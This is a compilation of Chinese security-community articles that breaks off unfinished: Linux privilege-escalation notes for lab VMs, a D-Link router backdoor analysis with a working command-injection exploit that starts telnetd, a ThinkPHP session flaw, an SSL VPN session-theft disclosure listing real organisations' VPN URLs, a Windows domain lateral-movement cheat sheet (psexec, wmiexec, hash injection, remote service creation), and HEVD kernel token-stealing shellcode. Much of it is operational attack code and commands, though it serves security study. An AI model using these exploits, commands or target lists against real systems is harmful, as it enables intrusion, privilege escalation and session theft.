内核漏洞利用 – ‘Dirty COW’ ‘PTRACE_POKEDATA’竞争条件权限提升( <https://www.exploit-db.com/exploits/40839/> )
MySQL漏洞利用 – MySQL 4.x/5.0 (Linux) – 用户定义函数（UDF）动态库(2)( <https://www.exploit-db.com/exploits/1518/> )
内核漏洞利用 – 2.4/2.6 sock_sendpage() ring0 Root利用(
<https://packetstormsecurity.com/files/80539/Linux-2.4-2.6-sock_sendpage-Local-ring0-Root-Exploit.html> )
5. Kioptrix 5
内核漏洞利用 – FreeBSD 9.0 – Intel SYSRET内核权限提升( <https://www.exploit-db.com/exploits/28718/> )
6. SickOS 1.2
未正确配置的Cron任务 – Chkrootkit 0.49 – 本地权限提升( <https://www.exploit-db.com/exploits/33899/> )
7. Stapler
正在运行的受漏洞影响版本Samba – SambaCry利用(
<https://www.rapid7.com/db/modules/exploit/Linux/samba/is_known_pipename> )
未正确配置的Cron任务 – 全局可写cron文件
在.bash_history中找到root密码
内核漏洞利用 – Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’
bpf(BPF_PROG_LOAD) 权限提升( <https://www.exploit-db.com/exploits/39772/> )
8. Troll1
Sudo su得到root权限
9. MrRobot
在nmap上设置SUID位 – 从nmap交互模式转到Shell
10. Vulnix
未正确配置的服务 – root_squash目录装载错误配置
11. droopy
内核漏洞利用 – ‘overlayfs’权限提升( <https://www.exploit-db.com/exploits/37292/> )
12. VulnOsv2
内核漏洞利用 – ‘overlayfs’权限提升( <https://www.exploit-db.com/exploits/37292/> )
13. Fristileaks
SUDO权限赋予一个易受攻击的二进制文件
14. LordOfTheRoot
内核漏洞利用 – ‘overlayfs’权限提升( <https://www.exploit-db.com/exploits/37292/> )
## 重要资源
大家可以参考这些博客文章，以便更好地了解Linux权限提升的相关知识。
基础的Linux权限提升：<https://blog.g0tmi1k.com/2011/08/basic-Linux-privilege-escalation/>
本地Linux遍历和权限提升备忘录：<https://www.rebootuser.com/?p=1623>
黑客入侵Linux第一部分-权限提升：<http://www.dankalia.com/tutor/01005/0100501004.htm>
权限提升：<https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_Linux.html>
以下是遍历脚本。尽管我们建议手动进行便利，但使用脚本无疑会更为便捷，但运行脚本可能会产生一些误报。
unix-privesc-check：<http://pentestmonkey.net/tools/audit/unix-privesc-check>
Linuxprivchecker（我的最爱）：<https://github.com/sleventyeleven/Linuxprivchecker>
LinEnum：<https://github.com/rebootuser/LinEnum>
## 参考
<http://www.dankalia.com/tutor/01005/0100501004.htmhttps://tc.gtisc.gatech.edu/bss/2014/r/kernel-exploits.pdf>
<https://www.youtube.com/watch?v=dk2wsyFiosg>
<https://www.sans.org/reading-room/whitepapers/testing/attack-defend-Linux-privilege-escalation-techniques-2016-37562> | 社区文章 |
## 漏洞原理
D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B
2.12B1版本之前的设备，在/bin/boa文件的formSysCmd函数存在后门，导致攻击者在身份认证后可以通过访问<http://[ip]//goform/formSysCmd并指定sysCmd参数，从而实现远程命令注入。>
固件下载地址：ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/
本漏洞的路由器运行环境与CVE-2018-20056相同。
## 漏洞分析
查看ghidra中的反编译代码，在formSysCmd中，首先获取sysCmd参数，然后通过snprintf写入栈中变量，直接调用system函数执行该参数内容。
void formSysCmd(undefined4 uParm1)
{
undefined4 uVar1;
char *pcVar2;
char acStack120 [104];
uVar1 = websGetVar(uParm1,"submit-url",&DAT_004ac874);
//获取post参数sysCmd，该参数可由用户控制
pcVar2 = (char *)websGetVar(uParm1,"sysCmd",&DAT_004ac874);
if (*pcVar2 != 0) {
//将sysCmd写入栈中，并调用system执行
snprintf(acStack120,100,"%s 2>&1 > %s",pcVar2,"/tmp/syscmd.log");
system(acStack120);
}
websRedirect(uParm1,uVar1);
return;
}
## 漏洞利用
该漏洞是在身份认证成功之后才可实现命令注入，需要先登录输入用户名和口令。由于是在qemu中模拟固件，通过apmib_get读取路由器本地配置无法实现，所以在劫持了apmib_get函数之后，login输入的用户名和密码暂时填为空。在真机上操作时，换成真实的用户名和密码即可。
import requests
import sys
import struct
import base64
from pwn import *
context(arch='mips',endian='big',log_level='debug')
ip='192.168.84.129'
port=101
def login(user,password):
postData = {
'login_name':'',
'curTime':'1234',
'FILECODE':'',
'VER_CODE':'',
'VERIFICATION_CODE':'',
'login_n':user,
'login_pass':base64.b64encode(password),
}
response = requests.post('http://'+ip+'/goform/formLogin',data=postData)
#print response.url
def syscmd(cmd):
postData = {
'sysCmd':cmd,
'submit-url':'1234',
}
response = requests.post('http://'+ip+'/goform/formSysCmd',data=postData)
#print response.url
def inter():
p=remote(ip,port)
p.interactive()
if __name__ == "__main__":
login('','')#这里要写实际的用户名和密码，例如admin 12345
syscmd('telnetd -p '+str(port))
inter()
另由于qemu模拟时，/dev下没有pty设备，导致telnet连接不能实现，但是端口是已经打开了：
有真机的师傅们可以试一下。
## 参考链接
<https://github.com/WhooAmii/whooamii.github.io/blob/master/2018/DIR-619%20command%20execution.md> | 社区文章 |
# 参考
<https://woj.app/6032.html>
<https://paper.seebug.org/1114/>
# 官方补丁
<https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2>
从只检测长度为32到增加ctype_alnum
# 环境搭建
tp6启用.env，感觉跟laravel越来越靠近
根目录cp .example.env .env
# 启动session
修改`app/middleware.php`
把session初始化下面代码注释去掉
return [
*// 全局请求缓存*
* // \think\middleware\CheckRequestCache::class,*
* // 多语言加载*
* // \think\middleware\LoadLangPack::class,*
* // Session初始化*
* *\think\middleware\SessionInit::**class**
];
## 修改控制器
在app/controller/Index.php里增加
public function **test(){
session('demo'**, $_GET['c']);
}
## 测试
注意session长度，要为32
如果不是32，会重新设置session
## 分析
setId会有两次被调用，第一次是读session
第二次是在最后$http->end 执行到SessionInit->end() -> Session->save()
think\Session\Store->save()
跟进
拼接`sess_`
再拼接目录
得到文件名和目录，创建目录
继续跟进
`writeFile`
# 总结
> 第一次写分析漏洞，措辞和分析如果有误，欢迎指教 | 社区文章 |
**漏洞**
两种方式均可实现 session 盗用，从而进入内网。
1、js 文件含有 session 信息，可实现访问任意网页被盗取 session
如登陆后访问 <https://ra.xxxx.net/prx/000/http/localh/an_vpn.js>
可以看到sessionid 被写入 js 内容
这样随便访问一个经过构造的网页如，<http://10.8.124.38:8888/sec/vpn.hml，网页源码>
<script src=https://ra.xxxx.net/prx/000/http/localh/an_vpn.js></script>
<script>
alert(window._AN_sessionid)
</script>
session 即可被盗走。
2、代理访问网站会携带 vpn 域的 cookie，可实现访问任意网页被盗取 session
登陆代理后访问的地址是 <https://ra.xxxx.net/prx/000/http/10.8.124.38:8888/sec/vpn.html，>
* 可以看到把目标网页的内容拼接在模板部分的后面
* 且所有 cookie 可读写
请求目标网页会带上 vpn 域名的下的cookie：
**影响范围**
谷歌搜索 <https://www.google.com.hk/search?q=inurl%3Aprx%2F000%2Fhttp>
部分大型网站：
东华大学 <https://vpn.bjtu.edu.cn/prx/000/http/localhost/login/login.html>
北京交通大学 <https://vpn.bjtu.edu.cn/prx/000/http/localhost/login/login.html>
香港航空控制系统 <https://web.hkairlines.net/prx/000/http/vpn.hka.net/>
海航协同办公平台 <https://www.hnagroup.net/prx/000/http/vpnweb.hnair.com/weblinks.htm>
中粮集团 <https://landvpn.cofco.com/prx/000/http/localhost/login/login.html>
长城证券 <https://vpn.cgws.com/prx/000/http/localhost/login/download/vpn-guide-for-client1.pdf>
上海外国语大学 <https://202.121.96.148/prx/000/http/localhost/login>
官方网站
<https://support.arraynetworks.net/prx/000/http/supportportal.arraynetworks.net/login.html>
中国移动
<https://emis.chinamobile.com/prx/000/http/sso.hq.cmcc:8080/transvpn/sslvpn.jsp>
阿里云 <https://vpn.jbp.aliyun-inc.com/prx/000/http/localhost/login>
中金财富 <https://vpn.china-invs.cn/prx/000/http/localhost/login/index.html>
江苏省电力设计院 <https://vpn.jspdi.com.cn/prx/000/http/172.17.16.154/vlogin.jsp>
用友集团 <https://vpn.yonyou.com/prx/000/http/localhost/login/index.html>
方正证券
<https://vpn.foundersc.com/prx/000/http/18.100.254.97:8080/vpnlogin/vpnlogin/login.action> | 社区文章 |
之前写过一篇内网当中域渗透的简单文章。好久没遇到忘得差不多了。前几天做项目，正好碰到了域环境，正好有时间，再回顾一下原来的知识，另外把新补充的知识再记录一下。
## 域相关知识
### 什么是域
域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust
Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件和打印机等设备资源，使不同的域之间实现网络资源的共享与管理，以及相互通信和数据传输。
域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows
网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域，每个域都有自己的安全策略，以及它与其他域的安全信任关系。
如果企业网络中计算机和用户数量较多时，要实现高效管理，就需要windows域。
### 域相关概念
**活动目录** 是由组织单元、域（domain）、域树（tree）、森林（forest）构成的层次结构。 **域**
作为最基本的管理单元，同时也是最基层的容器，它可以对员工、计算机等基本数据进行存储。在一个活动目录中可以根据需要建立多个域，比方说“甲公司”的财务科、人事科、销售科就可以各建一个域，因为这几个域同属甲公司，所以就可以将这几个域构成一棵
**域树**
并交给域树管理，这棵域树就是甲公司。又因为，甲公司、乙公司、丙公司都归属A集团，那么为了让A集团可以更好地管理这三家子公司，就可以将这三家公司的域树集中起来组成
**域森林**
（即A集团）。因此A集团可以按“子公司（域树）→部门→员工”的方式进行层次分明的管理。活动目录这种层次结构使企业网络具有极强的扩展性，便于组织、管理以及目录定位。
### 域的搭建过程
1. 域控制器安装（win server系统）
先安装一个DNS——安装active directory（注：装这两个都需要系统光盘或镜像；安装active
directory时相关的信息选择和命令要按自己的需求来）
装好后开始——管理工具，打开active
directory用户和计算机——新建用户（密码选永不过期）——在域中设置委派控制（对象为前面建的用户）——完成域控制器就建好了
1. 电脑加入域
设置成与域控制器在同一个网段，然后右击“我的电脑”——属性——计算机名——更改——选“域”然后输入你建的域的域名重启就行了（注：这台电脑的计算机名要先在添加到域控制器中去）
参考：
> AD域环境的搭建 基于Server 2008 R2: <http://www.it165.net/os/html/201306/5493.html>
> Acitve Directory 域环境的搭建:
> <http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html>
## 什么是ipc$连接
### ipc$概念
IPC$(Internet Process
Connection)是共享”命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
### ipc$的作用
利用IPC$,连接者甚至可以与目标主机建立一个连接，利用这个连接，连接者可以得到目标主机上的目录结构、用户列表等信息。
### ipc$的利用条件
1. 139，445端口开启。
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
1. 管理员开启了默认共享。
默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。
### ipc连接失败的原因
1. 你的系统不是NT或以上操作系统.
2. 对方没有打开ipc$默认共享。
3. 不能成功连接目标的139，445端口.
4. 命令输入错误.
5. 用户名或密码错误.
### 常见错误号：
1. 错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；
2. 错误号51，Windows 无法找到网络路径 : 网络有问题；
3. 错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
4. 错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$； 错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。
5. 错误号1326，未知的用户名或错误密码 ： 原因很明显了；
6. 错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况）
7. 错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。
## 域内的文件操作
### 利用IPC$
建立ipc连接以后，就可以访问目标机器的文件（上传、下载），也可以在目标机器上运行命令。
上传和下载文件直接通过copy命令就可以，不过路径换成UNC路径。
何为UNC路径？简单来讲以\开头的路径就是UNC路径，比如\192.168.1.2\c$\boot.ini。
如果要从本地当前目录上传1.bat到192.168.1.2机器C盘根目录下，那么命令就是
`copy 1.bat \\192.168.1.2\C$\`
反之就是下载。dir、copy、xcopy、move、type的参数都可以使用UNC路径。
### 利用Telnet
服务端：`nc -lvp 23 < nc.exe`
下载端：`telnet ip -f c:\nc.exe`
### 利用文件共享
映射目标
`net use x: \\[目标IP]\[地址] [域用户password] /user:[域]\[username]`
## 域内运行命令
### 利用计划任务
`at \\192.168.200.100 15:00 c:\hack.bat`
### psexec
psexec针对远程建立连接的认证方式有两种，一种先建立ipc连接，然后直接用psexec \192.168.200.100
cmd命令开启一个半交互式的cmdshell，另一种是在psexec的参数中指定账号密码。
参数：
> -s 参数用来以system权限执行
>
> –accepteula 绕过第一次运行的弹窗
>
> -c <[路径]文件名>:拷贝文件到远程机器并运行（注意：运行结束后文件会自动删除）
>
> -d 不等待程序执行完就返回
`psexec \\192.168.1.2 c:\hack.bat`
### wmiexec
T00ls大牛写的一款工具。早就传开了。
半交互模式：
`cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password`
单个命令执行的模式：
`cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password
"command"`
如果有时候我们抓取到的是hash，破解不了时可以利用WCE的hash注入，然后再执行WMIEXEC（不提供账号密码）就可以了。
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
wce -s [hash]
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
### SC创建服务执行
1、系统权限(其中test为服务名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test
2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
## hash相关知识
windows的密码是经过hash后存储的，本地存在sam，system注册表中，域里面存在ntds.dit中。密码hash有两种格式，LM hash和NT
hash。
| 2000 | xp | 2003 | Vista | win7 | 2008 | 2012 |
前面三个默认是LM hash,当密码超过14位时候会采用NTLM加密
`test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::`
前一部分是LM Hash，后一部分是NTLM Hash 当LM Hash是`AAD3B435B51404EEAAD3B435B51404EE`
这表示空密码或者是未使用LM_HASH
LMhash可以用在线网站秒破： <http://www.objectif-securite.ch/en/ophcrack.php>
## 判定是否在域内
拿下内网当中的一台主机后，首先要判断所控主机是否在域内。这里记录集中验证的方法。
### net time /domain
* 存在域不确定，但当前用户不是域用户。
* 存在域，且当前用户是域用户会从域控返回当前时间。
* 不存在域。
### net config workstation
### systeminfo
### ipconfig /all
## 域内信息收集
* net user /domain 查看域用户
* net view /domain 查看有几个域
* net view /domain:XXX 查看此域内电脑
* net group /domain 查询域里面的组
* net group “domain computers” /domain 查看加入到域内的所有计算机名
* net group “domain admins” /domain 查看域管理员
* net group “domain controllers” /domain 查看域控制器
* net user hacker /domain 获得指定账户的详细信息
* net accounts /domain 获得域密码策略设置，密码长短，错误锁定等信息
以上命令都是最简单的获取信息命令，只能获取最基本的信息。
更详细的信息需要用到其他的工具和利用姿势。以后再慢慢写。
##本地用户与域用户
拿到一台主机权限后，有两种可能:
1. 本地用户
2. 域用户
一般本地用户的administrator可以直接提升为ntauthority\system，SYSTEM用户权限。
在这三种情况中，本地用户是无法运行之前说的所有命令的，因为本质上所有查询都是通过ldap协议去域控制器上查询，这个查询需要经
过权限认证，只有域用户才有这个权限。当域用户运行查询命令时，会自动使用kerberos协议认证，无需额外输入账号密码。SYSTEM用户的情况比较特殊，在域中，除了普通用户外，所有机器都有一个机器用户，用户名是机器名后加$，本
质上机器上的SYSTEM用户对应的就是域里面的机器用户，所以SYSTEM权限是可以运行之前说的查询命令的。 | 社区文章 |
作者：k0shl
来源：http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html
### 0x00 前言
我是菜鸟，大牛们请喷T.T
HEVD是HackSys的一个Windows的训练项目，是一个存在漏洞的内核的驱动，里面存在多个漏洞，通过ControlCode控制漏洞类型，这个项目的驱动里几乎涵盖了内核可能存在的所有漏洞，从最基础的栈溢出，到池溢出，释放后重用等等类型，是一个非常好的项目。非常适合我们熟悉理解Windows内核漏洞的原理，利用技巧等等。
项目地址：https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
项目可以通过WDK的build方法直接编译，详细编译方法可以看《0day安全：软件漏洞分析技术》中内核漏洞章第一节内容有介绍，也可以百度直接搜到，通过build方法可以编译出对应版本的驱动.sys，然后通过osrloader工具注册并加载，之后就可以通过Demo来进行调试和提权了。
在这个项目中包含了两种漏洞类型，叫做Uninitialized Stack和Uninitialized
Heap，分别是未初始化的栈和未初始化的堆，具体的漏洞形成原因可以通过阅读HEVD项目的源码和说明了解。大致漏洞形成的原因就是在驱动没有对结构体进行初始化，从而导致可以通过提前覆盖内核堆栈的方法控制关键结构体，在没有进行初始化和结构体内容检查的情况下，直接引用结构体的函数指针，最后可以通过提前覆盖的方法控制结构题的函数指针，跳转到提权shellcode，来完成提权。
这篇文章的内容不再分析漏洞成因，成因都非常简单，我将就几方面内容和大家一起分享一下学习成果，第一部分将分享一下HEVD项目中通用的提权shellcode，第二部分将跟大家分享一下j00ru提出的利用NtMapUserPhysicalPages进行kernel
stack spray的方法，第三部分我将分享一下HEVD中的一个challenge，是关于未初始化堆空间利用的方法。
HEVD项目中，不仅提供了包含漏洞的驱动源码，还包含了对应利用的Exploit，但是在Uninitialized
Heap漏洞中提出了一个challenge。
下面我们一起来开始今天的学习之旅吧！
### 0x01 privilege Escalation Shellcode
关于提权的shellcode方法有很多，看过我之前对于CVE-2014-4113分析的小伙伴一定对替换token的这种方法比较熟悉，在我的那篇分析里，利用替换token这种shellcode是用C来实现的，当然，还有其他方法，比如将ACL置NULL这种方法，今天我还是给大家一起分享一下替换token这种方法，这种方法非常好用也非常常用，HEVD中替换shellcode的方法，是用内联汇编完成的。
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
}
}
这种方法，首先会通过fs段寄存器获取_KTHREAD结构题，fs段寄存器存放了关于线程的各种信息，当处于内核态时，fs的值为0x30，处于用户态时fs值则为0x3b
kd> p
01352782 57 push edi
kd> p
01352783 60 pushad
kd> p
01352784 33c0 xor eax,eax
kd> p
01352786 648b8024010000 mov eax,dword ptr fs:[eax+124h]
kd> dd 0030:00000124
0030:00000124 859615c0
随后获取到 _KTHREAD之后，我们可以获取到_
EPROCESS结构，这个结构中包含了PID等信息，最为关键的是，在内核中是以链表存放的，而这个链表就在_EPROCESS结构中。
kd> dd 859615c0+50
85961610 85a5e538 09000000 00000000 00000000
85961620 00000000 00000037 01000002 00000000
85961630 85961680 82936088 82936088 00000000
85961640 002e5ef3 00000000 7ffdd000 00000000
85961650 006a0008 00000000 859616c8 859616c8
85961660 6751178a 0000006e 00000000 00000000
85961670 00000000 00000000 00000060 82972b00
85961680 859617fc 859617fc 859615c0 843b0690
kd> dt _EPROCESS 85a5e538
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27c2c`295b0eb9
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000c64 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8294a4f0 - 0x843d76a0 ]
一旦获取了 _EPROCESS结构，我们能做很多事情，最简单的，观察偏移0xb4位置，存放着当前进程的PID，而0xb8位置，存放着一个_
LIST_ENTRY结构，这个结构存放着前面一个 _EPROCESS和后一个_ EPROCESS，这就很有意思了。
我可以通过这种方法，遍历当前系统所有存在的 _EPROCESS，而且能够找到System的_
EPROCESS，实际上，这个_EPROCESS，我们通过Windbg的!process 0 0的方法可以获取到。
kd> dt _LIST_ENTRY 841bdad0+b8
urlmon!_LIST_ENTRY
[ 0x84e64290 - 0x8294a4f0 ]
+0x000 Flink : 0x84e64290 _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
+0x004 Blink : 0x8294a4f0 _LIST_ENTRY [ 0x841bdb88 - 0x85a5e5f0 ]
kd> dd 841bdad0+b8
841bdb88 84e64290 8294a4f0 00000000 00000000
841bdb98 00000000 00000000 0000000d 8293db40
841bdba8 00000000 00644000 00246000 00000000
841bdbb8 00000000 00000000 00000000 87a01be8
841bdbc8 87a0130b 00000000 00000000 00000000
841bdbd8 00000000 00000000 841de2e0 00000000
841bdbe8 00000005 00000040 00000000 00000000
841bdbf8 00000000 00000000 00000000 00000000
kd> dt _EPROCESS 84e64290-b8
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27bbd`9fafafa2
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000100 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
回到shellcode，后面有一个loop循环，在循环中做的事情就是不断通过链表的前向指针和后向指针找到System的_EPROCESS结构，也就是＋0xb4位置的PID为4的结构，在结构中存放着token，只要找到System的token，替换掉当前进程的token，就可以完成提权了。
### 0x02 NtMapUserPhysicalPages and Kernel Stack Spray
在下面的调试中，由于我多次重新跟踪调试，所以每次申请的shellcode指针地址都不太一样，但不影响理解。
在HEVD项目中涉及到一种方法，可以进行Kernel Stack
Spray，其实在内核漏洞中，未初始化的堆栈这种漏洞相对少，而且在Windows系统中内核堆栈不像用户态的堆栈，是共用的一片空间，因此如果使用Kernel
Stack Spray是有一定风险的，比如可能覆盖到某些其他的API指针。在作者博客中也提到这种Kernel Stack
Spray是一种比较冷门的方法，但也比较有意思。这里我就和大家一起分析一下，利用NtMapUserPhysicalPages这个API完成内核栈喷射的过程。
为什么要用NtMapUserPhysicalPages，别忘了我们执行提权Exploit的时候，是处于用户态，在用户态时使用的栈地址是用户栈，如果我们想在用户态操作内核栈，可以用这个函数在用户态来完成对内核栈的控制。
j00ru博客对应内容文章地址：http://j00ru.vexillium.org/?p=769
首先我们触发的是Uninitialized
Stack这个漏洞，在触发之前，我们需要对内核栈进行喷射，这样可以将shellcode函数指针覆盖到HEVD.sys的结构体中。用到的就是NtMapUserPhysicalPages这个方法。
这个方法存在于ntkrnlpa.exe中，也就是nt!NtMapUserPhysicalPages，首先到达这个函数调用的时候，进入内核态，我们可以通过cs段寄存器来判断，一般cs为0x8时处于内核态，为0x1b时处于用户态。
kd> r cs
cs=00000008
kd> r
eax=00000000 ebx=00000000 ecx=01342800 edx=00000065 esi=85844980 edi=85bd88b0
eip=95327d10 esp=8c1f197c ebp=8c1f1aa8 iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000292
在此之前，内核栈的情况如下图：
注意esp和ebp，现在处于内核栈中，这时候，我们可以通过对内核栈下写入断点，这样在向栈写入数据，也就是栈喷射时会中断。
kd> g
nt!memcpy+0x33:
82882393 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到，在nt!memcpy中断，这时候执行的是一处拷贝操作，这时候通过kb查看一下堆栈回溯。
kd> kb
ChildEBP RetAddr Args to Child
94d12af4 82b2131b 94d12c20 003b09f8 00001000 nt!memcpy+0x33
94d12b34 82b1f58d 94d12c20 00000000 00b1fcb8 nt!MiCaptureUlongPtrArray+0x3f
94d13c20 82886db6 00000000 00000400 003b09f8 nt!NtMapUserPhysicalPages+0x9e
94d13c20 77ca6c74 00000000 00000400 003b09f8 nt!KiSystemServicePostCall
可以看到，函数的调用是NtMapUserPhysicalPages -> MiCaptureUlongPtrArray ->
memcpy，来看一下这个过程的函数实现，首先是nt!NtMapUserPhysicalPages
NTSTATUS __stdcall NtMapUserPhysicalPages(PVOID BaseAddress, PULONG NumberOfPages, PULONG PageFrameNumbers)
if ( (unsigned int)NumberOfPages > 0xFFFFF )
return -1073741584;
BaseAddressa = (unsigned int)BaseAddress & 0xFFFFF000;
v33 = ((_DWORD)NumberOfPages << 12) + BaseAddressa - 1;
if ( v33 <= BaseAddressa )
return -1073741584;
v4 = &P;//栈地址
v39 = 0;
v37 = &P;
if ( PageFrameNumbers )
{
if ( !NumberOfPages )
return 0;
if ( (unsigned int)NumberOfPages > 0x400 )//如果要超过1024，就要扩展池，不过这里不用
{
v4 = (char *)ExAllocatePoolWithTag(0, 4 * (_DWORD)NumberOfPages, 0x77526D4Du);
v37 = v4;
if ( !v4 )
return -1073741670;
}
v5 = MiCaptureUlongPtrArray((int)NumberOfPages, (unsigned int)PageFrameNumbers, v4);//v4 要拷贝的目标 内核栈 a2，要覆盖的EoPBuffer 长度是4*NumberOfPages
对应的注释已经标记，在函数中调用了MiCaptureUlongPtrArray，会将传入NtMapUserPhysicalPages的参数，长度也就是NumberOfPages，内容也就是PageFrameNumbers(详情请参考Exploit中的UninitializedStackVariable.c)，然后进入MiCaptureUlongPtrArray。
int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx@1
v3 = 4 * a1;
if ( v3 )
{
if ( a2 & 3 )
ExRaiseDatatypeMisalignment();
if ( v3 + a2 > (unsigned int)MmUserProbeAddress || v3 + a2 < a2 )
*(_BYTE *)MmUserProbeAddress = 0;
}
memcpy(a3, (const void *)a2, v3);
return 0;
}
进入后，会将shellcode的内容拷贝到a3，也就是&P，内核栈中。
kd> p
nt!memcpy+0x35:
82882395 ff2495ac248882 jmp dword ptr nt!memcpy+0x14c (828824ac)[edx*4]
kd> dd 94d139e4
94d139e4 00c62800 00c62800 00c62800 00c62800
94d139f4 00c62800 00c62800 00c62800 00c62800
94d13a04 00c62800 00c62800 00c62800 00c62800
94d13a14 00c62800 00c62800 00c62800 00c62800
94d13a24 00c62800 00c62800 00c62800 00c62800
memcpy之后，可以看到栈地址空间被喷射上了shellcode的指针，接下来触发漏洞，关于触发的原理阅读HEVD.sys源码很清晰，这里不详细介绍，大致就是当传入的UserValue，和漏洞的MagicValue不一样的情况下，就可以引发未初始化变量。
kd> p
HEVD+0x2cac:
95327cac 8b95ecfeffff mov edx,dword ptr [ebp-114h]
kd> dd ebp-114
8c1f1994 baadf00d 01342800 01342800 01342800
8c1f19a4 01342800 01342800 01342800 01342800
8c1f19b4 01342800 01342800 01342800 01342800
8c1f19c4 01342800 01342800 01342800 01342800
8c1f19d4 01342800 01342800 01342800 01342800
8c1f19e4 01342800 01342800 01342800 01342800
8c1f19f4 01342800 01342800 01342800 01342800
在进入HEVD的Trigger函数之后，可以看到此时内核栈已经被覆盖，这时候UserValue的值，也就是我们可控的值是baadf00d，随后看一下StackVariable结构体的内容。
kd> p
HEVD+0x2ccc:
95327ccc e853d8ffff call HEVD+0x524 (95325524)
kd> r eax
eax=8c1f1998
kd> dd 8c1f1998
8c1f1998 01342800 01342800 01342800 01342800
8c1f19a8 01342800 01342800 01342800 01342800
8c1f19b8 01342800 01342800 01342800 01342800
8c1f19c8 01342800 01342800 01342800 01342800
随后会对UserValue和MagicValue进行比较。
kd> p
HEVD+0x2cda:
95327cda 3b4de0 cmp ecx,dword ptr [ebp-20h]
kd> p
HEVD+0x2cdd:
95327cdd 7516 jne HEVD+0x2cf5 (95327cf5)
kd> r ecx
ecx=baadf00d
kd> dd ebp-20
8c1f1a88 bad0b0b0
UserValue是baadf00d，而HEVD.sys的MagicValue的值是bad0b0b0，不相等的情况下，不会对之前的StackVariable结构体中的成员变量初始化，而此时成员变量的值都被shellcode覆盖，最后引用，导致在内核态进入shellcode。
kd> p
HEVD+0x2d33:
95327d33 ff95f4feffff call dword ptr [ebp-10Ch]
kd> dd ebp-10c
8c1f199c 01342800
01342800 55 push ebp
01342801 8bec mov ebp,esp
01342803 83e4f8 and esp,0FFFFFFF8h
01342806 83ec34 sub esp,34h
01342809 33c0 xor eax,eax
0134280b 56 push esi
0134280c 33f6 xor esi,esi
最后在内核态执行shellcode，替换当前进程token为System token，完成提权。
### 0x03 Uninitialized Stack & Heap
